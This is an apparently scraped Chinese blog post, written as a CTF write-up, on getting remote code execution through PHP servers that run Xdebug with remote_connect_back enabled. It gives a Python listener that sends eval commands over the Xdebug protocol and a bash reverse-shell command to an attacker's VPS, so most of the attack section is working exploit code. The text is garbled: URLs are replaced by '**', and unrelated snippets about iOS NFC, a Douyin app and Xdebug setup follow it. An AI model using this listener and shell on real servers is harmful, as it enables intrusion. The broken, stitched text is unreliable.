開放了XDEBUG時的利用方法

2021-08-16 22:28:20 字數 1314 閱讀 2675

總結下利用條件,

1. 需要存在xdebug.remote_connect_back=on,並且沒有設定xdebug.remote_host,使用$_server['http_x_forwarded_for']$_server['remote_addr']獲取ip位址進行回連。這個選項適合多人開發除錯使用。

2. 並且知道xdebug.remote_port所設定的埠,預設值為9000。

如果xdebug.remote_connect_back=on,其連線方式有些不同:

伺服器ip和http埠10.0.1.2:80

ide所在機器是未知ip,所以 xdebug.remote_connect_back 設為1。

ide偵聽埠9000,因此 xdebug.remote_port 設為9000

http請求開始, xdebug通過http頭部獲取ip位址。

xdebug連線獲取到的ip (10.0.1.42)於埠9000

除錯執行,http提供回應。

摘自:

呃 寫完這些看到了ricterz師傅的部落格裡的內容詳細的多,

**:

裡面easy php題目的解法二:

這裡放一下**: vps上執行:

#!/usr/bin/python2

import socket

ip_port = ('0.0.0.0',9000)

sk = socket.socket()

sk.bind(ip_port)

sk.listen(10)

conn, addr = sk.accept()

while true:

client_data = conn.recv(1024)

print(client_data)

data = raw_input('>> ')

conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

conn.sendall('feature_get -i transaction_id -n feature_name\x00')

然後執行:curl 『

發現**那邊收到資訊了, 然後輸入

system(『bash -c 「bash -i >& /dev/tcp/vps_ip/vps_port 0<&1 2>&1」』)

就拿到shell,flag在資料庫的flag庫裡面。

ios11開放了NFC的支援 蘋果開啟物聯網大門

在ios11中蘋果向開發者開放了nfc的支援,將有乙個core nfc框架,它支援訪問現有和未來 nfc 硬體的某些方面。似乎也預示著蘋果正在逐漸開啟物聯網大門。蘋果表示目前 iphone 7 和 iphone 7 plus 已經支援 nfc ndef 標籤。之前蘋果對待物聯網裝置的整體態度其實受到...

抖音電商的獨立App終於對公眾開放了!

億邦動力訊 12月16日訊息,此前內測的抖音盒子app已經在應用 全量上線。應用介紹處顯示,抖音盒子為抖音旗下潮流時尚電商平台,平台包括街頭文化 高階時裝,內容涵蓋穿搭技巧 彩妝護膚等。在抖音盒子app內測期間,位元組跳動方面曾回應 這是抖音電商的乙個場景探索。進入抖音盒子app首頁,頂部tab欄的...

xdebug的安裝和配置方法

首先讓php錯誤顯示,只需要修改php.ini當中的2條指令,把 displayerrors和htmlerrors都設定為on,如下所示 html errors on display errors on xdebug 安裝步驟 xdebug是php的乙個module,需要編譯安裝,我用lnmp安裝的...